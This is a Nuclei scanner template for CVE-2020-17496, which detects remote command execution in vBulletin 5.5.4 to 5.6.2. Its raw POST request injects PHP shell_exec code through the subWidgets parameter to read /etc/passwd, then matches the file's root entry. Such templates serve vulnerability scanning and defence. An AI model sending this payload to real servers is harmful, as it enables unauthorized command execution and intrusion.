nuclei-templates/cves/2020/CVE-2020-17496.yaml

39 lines
1.2 KiB
YAML

id: CVE-2020-17496
info:
name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution
author: pussycat0x
severity: critical
description: "vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759."
reference:
- https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
- https://nvd.nist.gov/vuln/detail/CVE-2020-17496
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-17496
cwe-id: CWE-74
tags: cve,cve2020,vbulletin,rce
requests:
- raw:
- |
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# Enhanced by mp on 2022/04/27